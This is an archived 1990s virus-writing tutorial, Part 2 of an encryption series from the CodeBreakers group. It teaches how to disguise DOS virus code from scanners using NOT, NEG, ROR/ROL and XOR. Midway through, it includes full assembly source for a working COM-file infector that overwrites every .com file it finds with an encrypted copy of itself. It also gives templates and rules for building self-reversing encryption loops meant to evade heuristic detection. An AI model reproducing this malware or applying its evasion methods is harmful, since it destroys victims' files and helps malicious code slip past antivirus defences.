home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
CODBRK3.ZIP
/
cb0205.txt
< prev
next >
Wrap
Text File
|
1998-03-23
|
18KB
|
463 lines
-- An effort to help the naked virus. Encryption: Part 2
-- By: Sea4
Well, I hope I have answered all your questions about XOR and why virii
need to hide behind encryption in Part 1. Now for the fun part of encryption.
Using everything besides XOR to change the bytes in your virii. XOR is good,
and certainly has uses, but nowadays its been done to death, IMHO. It should
be used with the other bit manipulators to form more complex, and hopefully
undetectable algorithms for encrypting. A quick list might help get us started
with the other useful instructions. Not, Neg, Ror, and rol are the ones I
think are neccassary to viral survival, they must be used in certain ways
though to allow proper decryption.
NOT:
----
Its actually even more easy to understand than XOR but not used
as much as I would like. Anyway... all it does is reverse the bits in an
operand. So something like this:
NOT BL
Would change all the 1 bits from BL into 0 bits and vice versa. A
small graph could help you understand it a bit more.
BL = B4h = 180d = 10110100b
NOT 101101000b <-- Only requires one operand.
----------
010010111b <-- Result is placed in the same operand.
As you can see its quite simple to understand, anything that was 1 is
now 0 and likewise, anything that was 0 is now 1. This is one of the easiest
to put into encryption too, because it takes 1 operand ( the value you want
to reverse ). Furthermore, you may realize that if you preform the NOT again
you come out with your original value :).
We'll use the INT 21h instruction, to see what happens to it, because it
is one of the more commonly used commands in virii. Lets assume AX has been
set with the INT 21h command, and now its ready to be encrypted.
NOT AX
AX = CD21h = 52513d = 11001101-00100001b
NOT 11001101-00100001b ; Original value of AX
-------- --------
00110010-11011110b ; End result = AX = 3D2Eh = 15662d
^--AH--^ ^--AL--^
Now we go from CD21h to 3D2Eh in one simple command ( 2 bytes long ),
and we change our 'INT 21h' into a harmless 'CMP AX,??2Eh' where ?? is the
next byte in the progge. Thats all I have to say about NOT for now until we
get to using all the instructions together. Thats where the real excitement
begins.
* Here is an example virus written explicitly for this tutorial.
* Its shows how NOT AL can be implemented into a full fledged virus.
-- Begin Virus --
Start:
jmp Buffer ; Skip encrypt on first run!
;mov cx,End_virus-Hidden
lea si,Hidden
mov di,si
call Encrypt
jmp Hidden
Encrypt: ; Encryption loop, this is the only thing
lodsb ; that needs changing between different encryption
not al ; commands.
stosb
loop Encrypt
ret
Hidden:
mov ah,4Eh ; Find COM files for infection
Find_next:
xor cx,cx
lea dx,Filemask
int 21h
jnc Open
Exit:
int 20h ; Close down virus
filemask db '*.com',0
virus db '[Crypt]',0
author db 'Sea4, CodeBreakers',0
Open:
mov ax,3D02h ; Open File for read/write
mov dx,9Eh
int 21h
xchg bx,ax ; Move file handle
lea dx,Start ; Write the encryption routine
mov cx,Hidden-Start
mov ah,40h
int 21h
lea di,Buffer ; Encrypt virus to buffer
lea si,Hidden
mov cx,End_virus-Hidden
push cx
call Encrypt
lea dx,buffer ; Write that buffer to victim
pop cx
mov ah,40h
int 21h
mov ah,3eh ; Close victim file
int 21h
mov ah,4Fh ; Find next COM file
jmp Find_next
End_Virus:
Buffer:
lea di,Start ; Overwrites 'jmp Buffer' with 'mov cx,End_virus-Hidden'
lea si,New_Bytes
movsw
movsb
jmp Hidden
New_Bytes:
mov cx,End_Virus-Hidden
-- End of Virus --
ROR/ROL:
--------
We'll skip NEG for now and explain ROR, and ROL. Basically all they do
is Rotate Right and Rotate Left. But you may ask, "Ummm, ok... I know WHERE
they rotate, but WHAT do they rotate?". Its simple, they rotate bits... isn't
that what we've been discussing? They take a value like 23h, and rotate the
bits in it a specified # of places. The first operand is the one that will
get rotated and the second is how many places it will be rotated. Again, lets
use a short example.
MOV AL,23h ; Loads AL with 23h
ROR AL,1 ; Rotates the bits in 23h, 1 place to the right.
Now for graphs...
AL = 23h = 35d = 00100011b ; We are gonna drop the 'b' in this example
; so it doesn't get in the way.
00100011 ; 23h = 35d
ROR ; Moves the Bytes '-->' 1 place
--------
10010001 ; 91h = 145d
^-- This bit came from the end of the other side, and since we are
ROTATING the bits, it wraps around to the other side. Its almost as
though the bits were on a wheel, if you imagine it in your head like
that its very simple to understand.
Now, any Tom, Dick or Harry knows that the value of AL just changed,
so in essence we encrypted the byte, and we could use the 'ROL AL,1' command
to get back our original byte, but that would require another command. And
more commands equal more bytes, and more bytes means our virus will be more
noticable. Noticable is BAD! We do not like noticable ( *Hint*: thats why
we are learning encryption in the first place! ). So how can we utilize the
ROR/ROL commands without wasting bytes...? Simple, we make it so that the
second operand is equal to 4!! "Why 4 places?" Well... look at the graphs.
ROR AL,4 ; Rotates the bits four places
AL = 23h = 35d = 00100011b ; AL's value
ROL 4
00100011 ; Starting number ; 23h
<-- ; Rol 1 place
01000110 ; After 1 place ; 46h
<-- ; Rol 1 more place
10001100 ; After 2 places ; 8Ch
<-- ; Rol 1 more place
00011001 ; After 3 places ; 19h
<-- ; Last time ( here is the interesting part )
00110010 ; After 4th place ; 32h
^^--What happened here?
I am not sure if you noticed but the HEX number rotated 1 place. 23h
has now become 32h, pretty fucking cool for our purposes. You may again be
jumping ahead of me in saying that "If we do another 'ROL AL,4' we will get
back the original value of AL!!". Well, you would be perfectly right in that
assumption. If a byte is 8 bits, and we rotate 4 bits... thats halfway! And
so if we rotate another 4 bits, we have rotated the whole byte getting back
to the original bit positions AND our original value.
Rotating the first 4 bits is the encryption, and rotating the second 4
bits could be called the decryption. WOW! Like 'XOR AL,DL' ( in the first
part of my encryption article ), and like the NOT command that we just did...
the ROR/ROL instructions work twice the job with half the size. That is what
we want!
Ok, heres the part of the previous example that changes...
its not very much as you may notice.
Encrypt:
lodsb
ror al,4
stosb
loop Encrypt
ret
====================================
or with ROL...
Encrypt:
lodsb
rol al,4
stosb
loop Encrypt
ret
NEG:
----
To finish up the track we are on now, ( that is using one command for
both encryption and decryption ), we are gonna cover the often forgotten NEG
command. Like its sibling, the NOT command, it only uses 1 operand... the one
we want to alter. Unlike NOT, and the other bit manipulators, it is based
on value rather than the bits themselves. All it does is take the operand
and subtract it from 00h ( or 0000h if it is a word [2 bytes] ). We have to
use the graphs here because its hard to explain with words.
MOV AL,23h ; Gives 23h to AL
NEG AL ; Subtracts AL from 00h (or 100h to better visualize it)
; and places the resulting value in AL.
AL = 23h = 35d = (binary doesn't matter here)
; It doesn't matter which because a byte is only 2 places
00h or 100h ; any value outside those 2 places is ignored.
- 23h - 23h ; Subtracts 23h ( Trust me! NEG works out at the end ).
--- ----
DDh 0DDh ; See? They both end up equal to DDh
Heres the decimal equivalant for those aren't very good with hex.
256d ; 256d = 100h ( or 00h when working with just 1 byte )
- 35d ; 35d = 23h
---
221d ; 221d = DDh
"Well Sea, thats fucking great! Why the hell do I care?" Well, if you
were paying close attention to the other commands ( NOT/ROR/ROL/XOR ) you
would realize they all can be done twice to arrive at the original number.
Now if thats true here, we have found another command that can preform
encryption on first run, and decryption the second time. Lets see if good ol'
NEG can do that:
Decimal Hex
------- ---
256d 100h or 00h ; What NEG always subtracts from!
-221d - DDh or -DDh ; The value we ended up with last time
---- ---- ---
35d 23h 23h ; The Number we started with
IT WORKED!!! Neg is a useful encryption instruction. Well... well... don't
you owe me an apology, don't you?
And lastly here is an example section using NEG...
Encrypt:
lodsb
neg al
stosb
loop Encrypt
ret
Hopefully you understand that each of those instructions does well by
itself. Unfortunetly, there are times when they don't work. The command does
what it should, but the resulting byte is the same as the one you started
with. For example: ROR/ROL switch the hex characters from something like
23h to 32h by rotating four places... but with CCh, DDh, AAh, etc. the result
is the not really encrypted. Another example is NEGing by 0 or 80h, if you do
the proper math they both end up with their starting values. They may be
rare, but they still happen. So what is there to do about such 'errors'?
I hope you figured it out! I may have mentioned it before, but if you
combine 2 or more of these instructions they can have a great effect on the
complexity of the encryption. How do you do it right though? Just slapping
commands together is risky. You can do what I do and make a dual function
De/Encryption loop. In the first part of my encryption tutorial I gave an
example virus with the following loop:
-- Start
Encrypt: ; This has been slightly modified to provide a better
; understanding of what is going on.
lodsb ; Stores the byte from [SI] into AL ( I call it the
; victim byte ), then increments SI.
"encryption command" ; This modifies AL with one of the following
; encryption commands.
; not al
; neg al
; ror al,4
; rol al,4
; xor al,?? ( ?? can equal a value or a byte sized register )
stosb ; Stores AL into the byte at [DI] and then increments
; DI.
loop Encrypt ; Decrements CX, then if CX is not 0 it jumps to the
; specified location ( in this case 'EncLoop' ).
ret ; Goes back to caller, the stack cannot be modified
; because of this command.
-- End
It only needs SI (where to get the bytes to encrypt), DI (where to put
the encrypted bytes), and CX for the number of bytes. After it is called it
does the encryption routine on the specified region, and jumps back to the
caller. The outer parts with the 'loop' and such are basic things that will
not need to be changed much with each different virus or encryption routine.
Where it says "encryption command" is the important part.
We do what is called 'plugging in'... since the shell just holds the
part we care about, we can take out, and put in what we want. There are a few
criteria though.
1) Since the 'victim byte' is AL, the encryption commands should modify...
You guessed it, AL!
2) Another thing is that the encryption should NOT modify CX, DI, SI or
the Stack ( SP ) unless you know what you are doing.
3) The most important point for us though, is that we should be able to
run the Encrypt loop on anything twice, and end up with the starting
byte. This is important because we are gonna use the same loop to
encrypt AND decrypt. Saves space and makes it look cool.
The commands 'NOT AL', and 'NEG AL' by themselves do that perfectly, but
we already realized the need for more than one. So how do we get them to play
nicely together? Its a simple idea, but hard to explain. I'll give you an
easy example to start with, and explain it afterward.
Not al ; Oposite bits of AL
Neg al ; NEGs AL or ( NEGates AL )
Not al ; Oposite bits of AL again
OK, pay close attention here! This meets the first criteria and the 2nd,
but does it meet the 3rd? By itself its hard to see, but remember that this
has to be run twice to check its validity, so lets pretend we ran it twice.
It would look more like this then...
First Run
Not AL
Neg AL
Not AL ; Byte is now encrypted
Second Run
Not AL
Neg AL
Not AL ; Byte is now decrypted
"Who cares, it just does it twice... it encrypts it even more!" Not so!
They cancel each other out! Here is a very important graph...
Not AL *-----------|
Neg AL *------| |
Not AL *-| | |
-- | | |
Not AL *-| | |
Neg AL *------| |
Not AL *-----------|
The last command of the first run cancels the first command of the last
run, and vice versa! And the middle commands cancel each other! Isn't it
great. No matter what number goes through the first thing, it comes out
encrypted, but after going through again, it becomes decrypted! Just follow
the lines and review the last few paragraphs till you realize what is going
on. Its kind of like stacking plates on top of each other to encrypt, and
then taking them off in reverse order to decrypt.
Now to make sure you get the full impact of this, here is a larger
example with the same type of graph, but this time if you look at it as
canceling ITSELF, you can create loops as fast as you can type em.
xor al,C4h ; Start stacking the plates...
| neg al
| | ror al,4
| | | xor al,E3h
| | | | *not al ; Last plate
| | | xor al,E3h ; Start taking em off
| | ror al,4
| neg al
xor al,C4h
Now... how does it cancel itself. Notice that 'not al' is the only
instruction that is not repeated. It is also the center of the routine. If
you removed the 'not al' you would notice that the routine would do nothing
at all to any victem byte, but since we have a command at the center that
changes that, its works! So after running those 9 commands we get an ecrypted
byte. After running them again the byte becomes decrypted. If you are gonna
build a loop like this, try not to make it too long. Here are some basic
rules...
1) Always have a center instruction
2) Make sure all the commands are reversible... like if you did them twice
to the same byte, it would encrypt then decrypt.
3) Commands after the center command, should be in reverse order. Like above.
4) You shouldn't modify the stack, CX, SI, or DI unless you are sure.
5) Don't do the same command twice in a row, like...
xor al,4h
xor al,4h
not al
xor al,4h
xor al,4h
They just cancel each other out, and you really only end up encrypting with
a 'not al'.
6) Another combination you shouldn't use is
not al
xor al,0FFh
XORing by FFh or FFFFh is the same as NOT. So this would be a waste.
Well thats all there is to know about how those instructions work, but
now for how to put them into a virus. Above I showed you an example of a
dual function, encryption/decryption loop... here is again for those of you
not paying attention.
:: Comments were removed ::
-- Start
Encrypt:
lodsb
"encryption command"
; not al
; neg al
; ror al,4
; rol al,4
; xor al,?? ( ?? can equal a value or a bytes sized register )
stosb
loop EncLoop
ret
-- End
Where it says "encryption command" is where you can put any combination
of commands that fit the above rules. Just use the example virus from the
section about NOT and plug in your encryption routine. Test it out and make
sure it works.
Yup, that seems all you need to know to make more complex stuff than
simple XOR. There are several advantages, like many more different possible
encrypted versions, less likey that it will be recognized as a decryption
routine by heuristics, and its more creative. Of course, we are not even
half-way through what I know about encryption. Here are a few of the things
I still want to teach:
1) More encrypting commands... SUB, ADD, and XCHG!
2) Encrypting word sized values with XOR, 65,535 different keys!!
3) A little idea from a fellow CodeBreaker ( Aperson ), using the victem
file's own bytes to encrypt against!
4) Using ROR/ROL with values other than 4!
5) Double and Triple level encryption!
6) That appending example I promised.
7) How to change the values used to XOR with, randomness, system clock,
and the incremental way.